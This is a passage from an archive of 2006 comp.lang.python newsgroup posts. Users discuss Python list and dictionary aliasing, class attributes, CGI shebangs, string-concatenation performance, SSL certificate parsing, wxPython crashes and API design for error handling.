"fseek (ftell ())"? >> > > As above, you need to seek when switching from reading to writing, or > from writing to reading. > From bj_666 at gmx.net Sat Oct 14 12:36:38 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Sat, 14 Oct 2006 18:36:38 +0200 Subject: Making a shorter shebang References: <1160840251.769368.327090@m7g2000cwm.googlegroups.com> <1160840595.827897.150260@f16g2000cwb.googlegroups.com> <1160841240.145863.58940@m7g2000cwm.googlegroups.com> <1160841802.218222.60510@h48g2000cwc.googlegroups.com> Message-ID: In <1160841802.218222.60510 at h48g2000cwc.googlegroups.com>, veracon wrote: > Actually, it appears to still be using the default binary > (/usr/bin/python). Can I be sure it's actually reading the .profile > file? I'm executing through regular CGI in Apache. The `~/.profile` is executed when *you* log into your account. CGI scripts are executed by the web server which usually has its own user and group, `wwwrun` or something like that, and does not read the `.profile` in your home directory. Ciao, Marc 'BlackJack' Rintsch From tomas at fancy.org Thu Oct 12 14:42:10 2006 From: tomas at fancy.org (Tom Plunket) Date: Thu, 12 Oct 2006 11:42:10 -0700 Subject: Is a list static when it's a class member? References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com> <63goi2huffrd0dt2la9u0tng02a6jd4m8v@4ax.com> Message-ID: Fredrik Lundh wrote: > so what's the practical difference between > > def __init__(self, name): > self.name = name > self.data = [] > > and > > def __init__(self, name): > self.name = name > self.data=[] Ignoring nerd-extreme-pedantic-mode for this circumstance, you elided the bits that were functionally different. IOW, based on the OP's post, it appeared that C++ was infecting their Python, and removing the class attributes entirely was likely what the OP actually wanted. > > In Python, you don't define the instance members in the class scope > > like the OP has done: > > the OP's approach works perfectly fine, as long as you understand that > class attributes are shared. Obviously, as is "sticking a gun in your mouth is perfectly fine, as long as you understand that pulling the trigger will yield a large hole in the back of your skull." My reading of the OP's post was that shared attributes were not desired. -tom! From ardsrk at gmail.com Sat Oct 21 04:09:05 2006 From: ardsrk at gmail.com (ArdPy) Date: 21 Oct 2006 01:09:05 -0700 Subject: Python Source Message-ID: <1161418145.383719.324390@i3g2000cwc.googlegroups.com> I am not sure whether this group is the best place to post my thought. I will ask neverthless: Is it possible to hack through the code written by Guido van Rossum that makes the python interpreter. If yes please let me know how to begin. If its not then pardon me. From sebastian_busch at gmx.net Thu Oct 26 05:08:56 2006 From: sebastian_busch at gmx.net (Sebastian Busch) Date: Thu, 26 Oct 2006 11:08:56 +0200 Subject: To remove some lines from a file In-Reply-To: References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com> Message-ID: Chetan wrote: > Sebastian Busch writes: > >> Steve Holden wrote: >>> Sebastian Busch wrote: >>>> umut.tabak at student.kuleuven.be wrote: >>>>> ... I would like to remove two lines from a file. ... >>>> ... grep -v ... >>> ... show ... >> grep -v "`grep -v "commentsymbol" yourfile | head -2`" yourfile >> ... > I don't have the original post to know exactly what is needed, but looks like > something that can be done by a single sed script. > > -Chetan Hey! The task is: "Remove the first two lines that don't begin with "@" from a file." Actually, the grep-thing I offered will also delete copies of these two lines that occur in another place. That should be no problem if the file is something like @comment deleteme deleteme @comment data: x-y-dy However, if this is not the case, it cannot be done this way. How would you do it with sed? Best, Sebastian. From Benjamin.Barker at gmail.com Sun Oct 8 07:05:33 2006 From: Benjamin.Barker at gmail.com (Ben) Date: 8 Oct 2006 04:05:33 -0700 Subject: dictionary containing a list In-Reply-To: <1160211465.070263.265340@i3g2000cwc.googlegroups.com> References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com> <1160172055.962140.180110@b28g2000cwb.googlegroups.com> <1160211465.070263.265340@i3g2000cwc.googlegroups.com> Message-ID: <1160305533.169641.266470@e3g2000cwe.googlegroups.com> I think what you mean is that if you change your list, it is changed somewhere in your dicrionary to. Lists are always copied as pointers, except explicitly told other wise. So a = b = [] makes a and be the same list, and a.append(1) makes b -> [1]. So do something like mydict[mykey] = mylist[:] (Slicing gives a copy of the list, not the pointer). Hope this helps. Moi Dolf Ah -this is exactly what I was doing wrong -thaks very much! Aologies also for not posting sooner, I have been away for a few days. Thanks for all of your help, Ben On 6 Oc John Machin wrote: > Steve Holden wrote: > > John Machin wrote: > > > Ben wrote: > > > > > >>Hello... > > >> > > >>I have set up a dictionary into whose values I am putting a list. I > > >>loop around and around filling my list each time with new values, then > > >>dumping this list into the dictionary. Or so I thought... > > >> > > >>It would appear that what I am dumping into the dictionary value is > > >>only a pointer to the original list, so after all my iterations all I > > >>have is a dictionary whose every value is equal to that of the list the > > >>final time I looped around :-( > > >> > > >>Is there a way to acheive what I was attempting ? I have done something > > >>almost identical with classes in a list before, and in that case a new > > >>instance was created for each list entry... > > >> > > >> > > >>I hope this makes some sense, and doesn't seem to head bangingly > > >>simple... > > >> > > > > > > > > > Do you consult your physician over a video link while wearing a ninja > > > costume down an unlit coal mine at midnight? > > > > > > Please consider the possibility that your description of what you think > > > your code might be doing is not enough for diagnosis. > > > > > > You may need to supply: > > > (1) a listing of your code > > > (2) a small amount of input data > > > e.g. [(1, 'foo'), (42, 'bar'), (1, 'zot')] > > > (3) the output you expect from that input: > > > e.g. {1: ['foo', 'zot'], 42: ['bar']} > > > > > One of the fascinating things about c.l.py is that sometimes a questin > > will be posted that makes almost no sense to me, and somebody else will > > casually read the OP's mind, home in on the issue and provide a useful > > and relevant answer. > > > > In this case it seems transparent to me, though probably not to you, > > that Ben's problem is rootd in the following behaviour, well-known in > > python but frequently confusing to noobs: > > > > >>> a = [1, 2, 3] > > >>> firstlist = a > > >>> a.append('another element') > > >>> firstlist > > [1, 2, 3, 'another element'] > > >>> > > > > It's quite transparent to me that his symptom is caused by the one list > being used throughout the exercise, instead of one per different dict > key. What you have described is one possibility. > > Here's another possibility: Making the charitable assumption that he > has an outer loop and an inner loop, maybe (as I think another poster > has already suggested) all he needs to do is move "mylist = []" inside > the outer loop. Note that he doesn't say explicitly whether the one > list that he gets is the *correct* list for the last key, or whether > it's the catenation of all the correct lists, or something else. > > Yet another: Noobs do all sorts of funny things. He could be operating > on a "clean the bucket out after each use instead making a new one" > paradigm: > > | >>> d= {} > | >>> L = [] > | >>> L.append(1) > | >>> L.append(2) > | >>> d['a'] = L > | >>> d > | {'a': [1, 2]} > | >>> del L[:] > | >>> d > | {'a': []} > | >>> L.append(3) > | >>> L.append(4) > | >>> d['b'] = L > | >>> d > | {'a': [3, 4], 'b': [3, 4]} > > Cheers, > John From fredrik at pythonware.com Thu Oct 12 15:52:20 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 12 Oct 2006 21:52:20 +0200 Subject: Is a list static when it's a class member? In-Reply-To: References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com> <63goi2huffrd0dt2la9u0tng02a6jd4m8v@4ax.com> Message-ID: Tom Plunket wrote: > Obviously, as is "sticking a gun in your mouth is perfectly fine, as > long as you understand that pulling the trigger will yield a large > hole in the back of your skull." in my experience, the "you're not old enough to understand this" approach to teaching usually means that the teacher is immature, not the student. I prefer to explain how things work. everyone can understand how Python works. it's pretty simple, actually. From bernard.chhun at gmail.com Wed Oct 4 11:33:12 2006 From: bernard.chhun at gmail.com (Bernard) Date: 4 Oct 2006 08:33:12 -0700 Subject: Making posts to an ASP.NET webform. In-Reply-To: References: <1159800922.942615.28120@i42g2000cwa.googlegroups.com> <452134c7$0$14008$edfadb0f@dread15.news.tele.dk> <1159805102.970972.59340@b28g2000cwb.googlegroups.com> Message-ID: <1159975989.923434.50000@i42g2000cwa.googlegroups.com> Gabriel Genellina wrote: > At Monday 2/10/2006 13:05, Bernard wrote: > > > > > Has anyone tried what I'm doing? and if you tried how have you > > > > succeeded getting the data back after the post action? > > Use a packet sniffer or something to look at an actual POST that > works, this way you could see what's missing in your code. > > > Gabriel Genellina > Softlab SRL Thanks for that suggestion Gabriel. It's really a great idea to see what's going on behind the scene but it still doesn't work even though the post made by my function has the same data as a real browser post. here's the HTTP Header from my sniffer: ------------------------------------------------------------- http://www.newportrealty.com/Search/Default.aspx?Area=WC POST /Search/Default.aspx?Area=WC HTTP/1.1 Host: www.newportrealty.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www.newportrealty.com/Search/Default.aspx?Area=WC Cookie: ASPSESSIONIDQQBTTDAT=JMBNNNNBNNJELLBBNCCDMNCK; ASP.NET_SessionId=hzdjizvca2zid3f205s5kd45 Content-Type: application/x-www-form-urlencoded Content-Length: 4649 __EVENTTARGET=dg_Result%3A_ctl1%3A_ctl1&__EVENTARGUMENT=&__VIEWSTATE=dDw0MD(...) HTTP/1.x 200 OK Cache-Control: private Content-Length: 37519 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Date: Wed, 04 Oct 2006 15:15:37 GMT ------------------------------------------------------------- and here's the output of the encoded data as well as the cookies in my function: ------------------------------------------------------------- cookies: encoded post data: __EVENTTARGET=dg_Result%3A_ctl14%3A_ctl2&__EVENTARGUMENT=&__VIEWSTATE=dDw0MDAyOTcw(...) ------------------------------------------------------------- My function has already worked on other asp.net websites and I'm pretty sure this would work out just fine. is there something I'm missing here? From fredrik at pythonware.com Sat Oct 7 13:37:37 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 07 Oct 2006 19:37:37 +0200 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1160241982.216511.281950@m73g2000cwd.googlegroups.com> References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> <1160241982.216511.281950@m73g2000cwd.googlegroups.com> Message-ID: MonkeeSage wrote: > True. But valid dictionary keys are exactly d.keys(). The has_key > method is just sugar. for what? are you sure you're using "sugar" as it is usually used when talking about computer languages? From donn at u.washington.edu Tue Oct 24 12:59:03 2006 From: donn at u.washington.edu (Donn Cave) Date: Tue, 24 Oct 2006 09:59:03 -0700 Subject: Obtaining SSL certificate info from SSL object - BUG? References: <453D95EA.1020602@animats.com> Message-ID: In article <453D95EA.1020602 at animats.com>, John Nagle wrote: > The Python SSL object offers two methods from obtaining > the info from an SSL certificate, "server()" and "issuer()". > The actual values in the certificate are a series of name/value > pairs in ASN.1 binary format. But what "server()" and "issuer()" > return are strings, with the pairs separated by "/". The > documentation at "http://docs.python.org/lib/ssl-objects.html" > says "Returns a string containing the ASN.1 distinguished name identifying > the > server's certificate. ... > "/O=VeriSign Trust Network/OU=VeriSign, Inc./OU=VeriSign International > Server CA - Class 3/OU=www.verisign.com/CPS Incorp.by Ref. LIABILITY > LTD.(c)97 > VeriSign". > > Note that > > "OU=Terms of use at www.verisign.com/rpa (c)00" > > with a "/" in the middle of the value field. ... > Is there a workaround for this? Without rebuilding Python > and becoming incompatible? As a practical matter, I think it's fairly safe to assume there will be no values that include / in a context like really looks like that X.500 style distinguished name. So if you parse out that string in those terms, and require each of those key = value pairs to have reasonable values - key has no embedded spaces, value has non-zero length - then you should be OK. Re-join any invalid component to its predecessor's value. Donn Cave, donn at u.washington.edu From tpochep at mail.ru Fri Oct 20 07:57:37 2006 From: tpochep at mail.ru (tpochep at mail.ru) Date: 20 Oct 2006 04:57:37 -0700 Subject: python under the hood Message-ID: <1161345457.021410.306910@m73g2000cwd.googlegroups.com> Hello. Is there any good information about python's internals and semantic? I mean "under the hood". For example, I want to understant what do these strings x = 10 y = 10 x = 20 mean (memory allocation for object? ctors? etc.) Unfortynatly, I'm too lazy to read python's source code :) (and I guess, it's not very easy :) ) From onurb at xiludom.gro Tue Oct 31 14:36:16 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 31 Oct 2006 20:36:16 +0100 Subject: Why can't you assign to a list in a loop without enumerate? In-Reply-To: <1162320362.257426.121370@e3g2000cwe.googlegroups.com> References: <1162320362.257426.121370@e3g2000cwe.googlegroups.com> Message-ID: <4547a5b1$0$7229$426a74cc@news.free.fr> Danny Colligan wrote: > In the following code snippet, I attempt to assign 10 to every index in > the list a and fail because when I try to assign number to 10, number > is a deep copy of the ith index (is this statement correct?). It's quite easy to find out: class Foo(object): def __init__(self, num): self.num = num def __repr__(self): return "foo %d at %d" % (self.num, id(self)) foos = [Foo(i) for i in range(10)] print foos => [foo 0 at 47281508865040, foo 1 at 47281508865104, foo 2 at 47281508865168, foo 3 at 47281508865232, foo 4 at 47281508865296, foo 5 at 47281508865360, foo 6 at 47281508865424, foo 7 at 47281508865488, foo 8 at 47281508865552, foo 9 at 47281508865616] for foo in foos: foo.num = foo.num * 2 print foos => [foo 0 at 47281508865040, foo 2 at 47281508865104, foo 4 at 47281508865168, foo 6 at 47281508865232, foo 8 at 47281508865296, foo 10 at 47281508865360, foo 12 at 47281508865424, foo 14 at 47281508865488, foo 16 at 47281508865552, foo 18 at 47281508865616] Seems like your statement is *not* correct. >>>> a = [1,2,3,4,5] >>>> for number in a: > ... number = 10 Note that you are *not* "assign(ing) 10 to every index in the list" here. Rebinding the local name 'number' in each iteration only makes this name refer to another object (implying of course loosing the reference to the current list element). Then - on the following iteration - the name 'number' is rebound to the next object in the list. >>>> a > [1, 2, 3, 4, 5] >>> for foo in foos: ... original = foo ... foo = Foo(10) ... print "original : %s - foo : %s" % (original, foo) ... original : foo 0 at 47281508865040 - foo : foo 10 at 47281508864144 original : foo 2 at 47281508865104 - foo : foo 10 at 47281508864144 original : foo 4 at 47281508865168 - foo : foo 10 at 47281508864144 original : foo 6 at 47281508865232 - foo : foo 10 at 47281508864144 original : foo 8 at 47281508865296 - foo : foo 10 at 47281508864144 original : foo 10 at 47281508865360 - foo : foo 10 at 47281508864144 original : foo 12 at 47281508865424 - foo : foo 10 at 47281508864144 original : foo 14 at 47281508865488 - foo : foo 10 at 47281508864144 original : foo 16 at 47281508865552 - foo : foo 10 at 47281508864144 original : foo 18 at 47281508865616 - foo : foo 10 at 47281508864144 > So, I have to resort to using enumerate to assign to the list: Yes. That's still far better than having to manually check for sequence boundaries and track current index. >>>> for i, number in enumerate(a): > ... a[i] = 10 > ... >>>> a > [10, 10, 10, 10, 10] Just for the record: the notation 'a[x] = y' in fact calls 'a.__setitem__(x, y)'. It's really just calling a method that alters the state of object a. > My question is, what was the motivation for returning a deep copy of > the value at the ith index inside a for loop instead of the value > itself? Forget about values. Think objects. >>> i = 10 >>> i.__class__ >>> dir(i) ['__abs__', '__add__', '__and__', '__class__', '__cmp__', '__coerce__', '__delattr__', '__div__', '__divmod__', '__doc__', '__float__', '__floordiv__', '__getattribute__', '__getnewargs__', '__hash__', '__hex__', '__init__', '__int__', '__invert__', '__long__', '__lshift__', '__mod__', '__mul__', '__neg__', '__new__', '__nonzero__', '__oct__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdiv__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__str__', '__sub__', '__truediv__', '__xor__'] >>> i.__abs__() 10 > Also, is there any way to assign to a list in a for loop (with > as little code as used above) without using enumerate? What's the problem with enumerate() ? -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From fredrik at pythonware.com Wed Oct 25 01:46:27 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 25 Oct 2006 07:46:27 +0200 Subject: python GUIs comparison (want) In-Reply-To: References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> Message-ID: David Boddie wrote: >> commercial deployment is expensive; free deployment must be GPL; > > Opinions differ on the first one of these. even if you define "expensive" as "costs more money than the others" ? From jwjw at zerny.invalid Tue Oct 3 09:36:27 2006 From: jwjw at zerny.invalid (Bill Williams) Date: Tue, 03 Oct 2006 09:36:27 -0400 Subject: Best way to handle large lists? References: Message-ID: I don't know enough about Python internals, but the suggested solutions all seem to involve scanning bigList. Can this presumably linear operation be avoided by using dict or similar to find all occurrences of smallist items in biglist and then deleting those occurrences? Bill Williams In article , Chaz Ginger wrote: > I have a system that has a few lists that are very large (thousands or > tens of thousands of entries) and some that are rather small. Many times > I have to produce the difference between a large list and a small one, > without destroying the integrity of either list. I was wondering if > anyone has any recommendations on how to do this and keep performance > high? Is there a better way than > > [ i for i in bigList if i not in smallList ] > > Thanks. > Chaz From anthra.norell at vtxmail.ch Tue Oct 31 12:39:04 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Tue, 31 Oct 2006 18:39:04 +0100 Subject: Where do nested functions live? In-Reply-To: References: Message-ID: <45478A38.1060602@vtxmail.ch> Rob Williscroft wrote: > Frederic Rentsch wrote in news:mailman.1536.1162292996.11739.python- > list at python.org in comp.lang.python: > > >> Rob Williscroft wrote: >> >>> Frederic Rentsch wrote in news:mailman.1428.1162113628.11739.python- >>> list at python.org in comp.lang.python: >>> >>> >>> > > >>> def whatever( new_ms ): >>> class namespace( object ): >>> pass >>> scope = namespace() >>> >>> def inner(): >>> scope.mseconds = new_ms - s * 1000 >>> m, scope.seconds = divmod (s, 60) >>> h, scope.minutes = divmod (m, 60) >>> d, scope.hours = divmod (h, 24) >>> scope.weeks, scope.days = divmod (d, 7) >>> >>> >>> >> This is interesting. I am not too familiar with this way of using >> objects. Actually it isn't all that different from a list, because a >> list is also an object. But this way it's attribute names instead of >> list indexes which is certainly easier to work with. Very good! >> >> > > >>> In short I think an "outer" keyword (or whatever it gets called) >>> will just add another way of doing something I can already do, >>> and potentially makes further refactoring harder. >>> >>> >>> >> Here I'm lost. What's the advantage of this? It looks more convoluted. >> > > I'll agree that having to explicitly define a namespace class first > does add some convolution. > > But if you refer to having to prefix you "outer" variables with "scope." > then this would be the same as claiming that the explict use of self is > convoluted, which is a valid opinion, so fair enough, but I can't say > that I agree. > > I didn't mean to call into question. I didn't understand the advantage of the added complexity of your second example over the first. > It should also be noted that although I have to declare and create a > scope object. My method doesn't require the attributes passed back from > the inner function be pre-declared, should I during coding realise > that I need to return another attribute I just assign it in the inner > function and use it in the outer function. I would count that as less > convoluted, YMMV. > That is certainly a very interesting aspect. > > >> And speaking of convoluted, what about efficiency? There is much talk >> of efficiency on this forum. I (crudely) benchmark your previous >> example approximately three times slower than a simple inner function >> taking and returning three parameters. It was actually the aspect of >> increased efficiency that prompted me to play with the idea of >> allowing direct outer writes. >> > > Did you have optimisation turned on ? > > No. I did a hundred thousand loops over each in IDLE using xrange. > As I see it there should be no reason an optimiser couldn't transform > my code into the same code we might expect from your "outer keyword" > example, as the scope object's type and attributes are all contained > within (thus known to) the outer function defenition. > > I doubt that very much. The 'outer' keyword would give me the choice between two alternatives. Such a choice can hardly be automated. > Wether CPython's optimiser does this or not, I don't know. > > >>> Thats -2 import-this points already. >>> >>> >>> >> Which ones are the two? >> > > Explicit is better than implicit. > There should be one-- and preferably only one --obvious way to do it. > > Rob. > Frederic From ldo at geek-central.gen.new_zealand Sat Oct 7 17:44:49 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Sun, 08 Oct 2006 10:44:49 +1300 Subject: A critique of cgi.escape References: Message-ID: Another useful function is this: def JSString(Str) : """returns a JavaScript string literal that evaluates to Str. Note I'm not worrying about non-ASCII characters for now.""" Result = [] for Ch in Str : if Ch == "\\" : Ch = "\\\\" elif Ch == "\"" : Ch = "\\\"" elif Ch == "\t" : Ch = "\\t" elif Ch == "\n" : Ch = "\\n" #end if Result.append(Ch) #end for return "\"" + "".join(Result) + "\"" #end JSString This can be used, for instance in sys.stdout.write \ ( "window.setTimeout(%s, 1000)\n" % JSString("alert(%s)" % JSString("Hi There!")) ) From jim at trainplayer.com Fri Oct 13 11:37:36 2006 From: jim at trainplayer.com (Jim) Date: 13 Oct 2006 08:37:36 -0700 Subject: where to put .pth file Message-ID: <1160753856.467103.141090@m7g2000cwm.googlegroups.com> I am trying to tell Python where it can find some modules it will need when embedded in my app. The convenient way would be to plop a .pth file somewhere Python can find it. I found that the doc is wrong when it says this kind of filecan go anywhere on the python path. It is not found if it goes into the python root dir, or python\lib -- the only place I found it would work was in lib\site-packages. So the next question is, how do I know where this dir is located? In order to look in the Registry to find where Python is installed, I need to know the version! There is a set of keys under Python24 and another set under Python25 on my machine. That means I need to know what version is installed before I can find out where its install dir is. Bizarre. So how do I find out what version is installed? The best way I came up with so far is to ask Python for the value of sys.prefix. Trouble is, when I issue a PyRun statement, it fires up 24, not 25, and gives me the 24 prefix. In short: how do I find the latest installed site-packages directory? -- Jim From fredrik at pythonware.com Wed Oct 4 08:31:02 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 4 Oct 2006 14:31:02 +0200 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: Steve Holden wrote: > But sadly people are much happier complaining on c.l.py than exerting > themselves to support the community with an open source issue tracker. you're not on the infrastructure list, I hear. python.org could still need a few more roundup volunteers, but it's not like nobody's prepared to con- tribute manhours. don't underestimate the community. From nitte.sudhir at gmail.com Mon Oct 30 18:45:59 2006 From: nitte.sudhir at gmail.com (kath) Date: 30 Oct 2006 15:45:59 -0800 Subject: Serious wxPython Error while executing.. Message-ID: <1162251958.974767.160970@k70g2000cwa.googlegroups.com> Hello, sorry about the lengthy message. I finding difficult to execute this program. The wx.Notebook i created is coming on the splitted frame(self.p2). How do I that. I am started to learn wxPython, and when I run the code, the code doesnot close gracefully, it throughs me an error. "pythonw.exe has encountered a problem and needs to close. We are sorry for the inconvenience" I clicked for more information, then I got the error message which is "AppName: pythonw.exe AppVer: 0.0.0.0 ModName: wxmsw26uh_vc.dll ModVer: 2.6.3.3 Offset: 0016bb6f .............." here is the code.... seems a bit lengthy, sorry about that. Please help me to find my mistake, and how do I go forward resolving this problem. [code] import wx ID_ADD_NEW = 5001 ID_DEACTIVATE = 5002 ID_EXIT = 5003 class _AddNewFund(wx.Panel): def __init__(self, parent): wx.Panel.__init__(self, parent) box=wx.StaticBox(self, -1, "Add New Fund") boxsizer=wx.StaticBoxSizer(box, wx.HORIZONTAL) t=wx.StaticText(self, -1, "Please select an Excel file to upload new funds.", (20,20)) boxsizer.Add(t, 0, wx.TOP|wx.LEFT, 10) t=wx.StaticText(self, -1, "This is page one content2", (20,40)) boxsizer.Add(t, 0, wx.TOP|wx.LEFT, 10) self.text1=wx.TextCtrl(self, -1, "") b1 = wx.Button(self, 10, " Browse ") b2 = wx.Button(self, 10, " Upload ", (60, 20)) self.Bind(wx.EVT_BUTTON, self.OnBrowse, b1) self.Bind(wx.EVT_BUTTON, self.OnUpload, b2) b1.SetDefault() b1.SetSize(b1.GetBestSize()) b2.SetSize(b2.GetBestSize()) grid1=wx.FlexGridSizer(0,2,0,0) grid1.Add( self.text1, 0, wx.ALIGN_CENTRE|wx.LEFT|wx.RIGHT|wx.TOP, 5 ) grid1.Add( b1, 0, wx.ALIGN_CENTRE|wx.LEFT|wx.RIGHT|wx.TOP, 5 ) #grid1.Add( b2, 0, wx.ALIGN_CENTRE|wx.LEFT|wx.RIGHT|wx.TOP, 5 ) border=wx.BoxSizer() border.Add(boxsizer, 1, wx.EXPAND) self.SetSizer(border) boxsizer.Add(grid1, 0, wx.ALIGN_CENTRE) border.Add(boxsizer, 0, wx.ALIGN_CENTRE) #print "end ADD NEW class" def OnBrowse(self, event): self.dirname="" d=wx.FileDialog(self, "Choose a file", self.dirname, "", "*.*", wx.Open) if d.ShowModal() == wx.ID_OK: self.filename=d.GetFilename() self.dirname=d.GetDirectory() self.text1.WriteTest(join(os.path.join(self.dirname, self.filename))) d.Destroy() def OnUpload(self, event): pass class ParentWindow(wx.Frame): def __init__(self): wx.Frame.__init__(self, None, -1, "Euro Fund manager") self.createMenu() self.Bind(wx.EVT_MENU, self.onAddnewfund, id=ID_ADD_NEW) self.Bind(wx.EVT_MENU, self.onDeactivate, id=ID_DEACTIVATE) self.Bind(wx.EVT_MENU, self.onExit, id=ID_EXIT) self.spw=wx.SplitterWindow(self) self.p1=wx.Panel(self.spw, style=wx.BORDER_NONE) self.p1.SetBackgroundColour("white") self.p2=wx.Panel(self.spw, style=wx.BORDER_NONE) self.spw.SplitVertically(self.p1, self.p2, 200) self.CreateStatusBar() def createMenu(self): menu=wx.Menu() menu.Append(ID_ADD_NEW, "&Add new fund(s)", "Add new fund(s)") menu.Append(ID_DEACTIVATE, "&Deactivate fund(s)", "Deactivate fund(s)") menu.AppendSeparator() menu.Append(ID_EXIT, "E&xit", "Exit") menubar=wx.MenuBar() menubar.Append(menu, "&File") self.SetMenuBar(menubar) def onAddnewfund(self, event): #p=wx.Panel(self.p2) #print "panel created" nb=wx.Notebook(self.p2) #print "notebook created" addPage=_AddNewFund(nb) nb.AddPage(addPage, "Add new Fund") #print "page got added" sizer=wx.BoxSizer() sizer.Add(nb, 1, wx.EXPAND) self.p2.SetSizer(sizer) #print "end of add function" def onDeactivate(self, event): pass def onExit(self, event): self.Close() app = wx.App() frm=ParentWindow() frm.SetSize((800,500)) frm.Show() app.SetTopWindow(frm) app.MainLoop() [/code] thank you, Regards, kath From blair.houghton at gmail.com Fri Oct 6 13:04:14 2006 From: blair.houghton at gmail.com (Blair P. Houghton) Date: 6 Oct 2006 10:04:14 -0700 Subject: Google breaks Usenet (was Re: How can I correct an error in an old post?) References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> <1160096371.564954.132860@b28g2000cwb.googlegroups.com> <4SmVg.9105$GR.2172@newssvr29.news.prodigy.net> Message-ID: <1160154253.956469.195400@m73g2000cwd.googlegroups.com> Aahz wrote: > In article <4SmVg.9105$GR.2172 at newssvr29.news.prodigy.net>, > Bryan Olson wrote: > >Blair P. Houghton wrote: > >> > >> But they do about 10 things totally wrong with Google groups that > >> I'd've fixed in my spare time in my first week if they'd hired me back > >> when I was interviewing with them. > >> > >> So if they want it to work, they know where to find me. > > > >Doesn't seem likely, does it? But don't let it stop you. You don't > >need Google's permission to build a better Usenet service. They > >don't have any copyright on the posts, or other special protection. > >I'm a former Googler myself and I use their service all the time, > >but if yours is better I'll switch. > > The problem is the network effect. In this case, what Google has that > can't be replicated is the history of posts. Exactly. Usenet isn't just the "send this message to all leaf nodes via tree" behavior, it's the "show me the message from 1987 or 1988 written by dickie sexton where he invents the '(*plonk*)' meme" behavior, and a lot of others. It would be an interesting script that would crawl through Google's online copy of the DejaNews archive (which itself was incomplete, by the way) to replicate all of that, with complete headers, minus Google's header munging. --Blair From larry at hastings.org Tue Oct 3 01:35:06 2006 From: larry at hastings.org (Larry Hastings) Date: 2 Oct 2006 22:35:06 -0700 Subject: PATCH: Speed up direct string concatenation by 20+%! References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com> <451CD389.3010800@jessikat.plus.net> <1159540482.924744.164420@k70g2000cwa.googlegroups.com> <1159545255.339364.299020@k70g2000cwa.googlegroups.com> <1159546522.251704.301530@b28g2000cwb.googlegroups.com> <1159552048.354214.198180@e3g2000cwe.googlegroups.com> <1159762765.943691.139690@b28g2000cwb.googlegroups.com> <1159774531.004015.7390@e3g2000cwe.googlegroups.com> Message-ID: <1159853705.946422.70220@b28g2000cwb.googlegroups.com> Fredrik Lundh wrote: > You should also benchmark this against code that uses the ordinary > append/join pattern. Sorry, thought I had. Of course, now that the patch is up on Sourceforce you could download it and run all the benchmarks you like. For all the benchmarks I ran below, the number listed is the best of three runs. Time was computed using sum(os.times()[:2]). Running this under Python 2.5 release: x = [] for i in xrange(10000000): x.append("a") y = "".join(x) took 4421ms. Running this under my patched Python: x = "" for i in xrange(10000000): x += "a" y = x[1] took 4406ms. I assert that my code makes + as fast as the old "".join([]) idiom. > It's rather unlikely that something like this will ever be added to > the 2.X series. It's pretty unlikely for 3.X as well (GvR used a > rope-like structure for ABC, and it was no fun for anyone), but it'll > most likely be a lot easier to provide this as an option for 3.X. I can't address the ABC implementation as I've never seen it. But my patch only touches four files. Two are obviously stringobject.c and .h. The other two files, ceval.c and codeobject.c, only got one-line changes. My changes to PyStringObject are well-encapsulated; as long as core / extension programmers continue to use PyString_AS_STRING() to access the char * in a PyStringObject they will never notice the difference. John Machin wrote: > try benchmarking this ... well "style" may not be the appropriate word Running this under Python 2.5 release: x = [] xappend = x.append for i in xrange(10000000): xappend("a") y = "".join(x) took 3281ms. Running this under my patched Python 2.5: x = "" xappend = x.__add__ for i in xrange(10000000): xappend("a") y = "".join(x) took 3343ms. /larry/ From swillison at gmail.com Mon Oct 2 12:45:38 2006 From: swillison at gmail.com (Simon Willison) Date: 2 Oct 2006 09:45:38 -0700 Subject: Pythonic API design: detailed errors when you usually don't care Message-ID: <1159807538.579131.198670@e3g2000cwe.googlegroups.com> Hi all, I have an API design question. I'm writing a function that can either succeed or fail. Most of the time the code calling the function won't care about the reason for the failure, but very occasionally it will. I can see a number of ways of doing this, but none of them feel aesthetically pleasing: 1. try: do_something() except HttpError: # An HTTP error occurred except ApplicationError: # An application error occurred else: # It worked! This does the job fine, but has a couple of problems. The first is that I anticipate that most people using my function won't care about the reason; they'll just want a True or False answer. Their ideal API would look like this: if do_something(): # It succeeded else: # It failed The second is that the common path is success, which is hidden away in the 'else' clause. This seems unintuitive. 2. Put the method on an object, which stores the reason for a failure: if 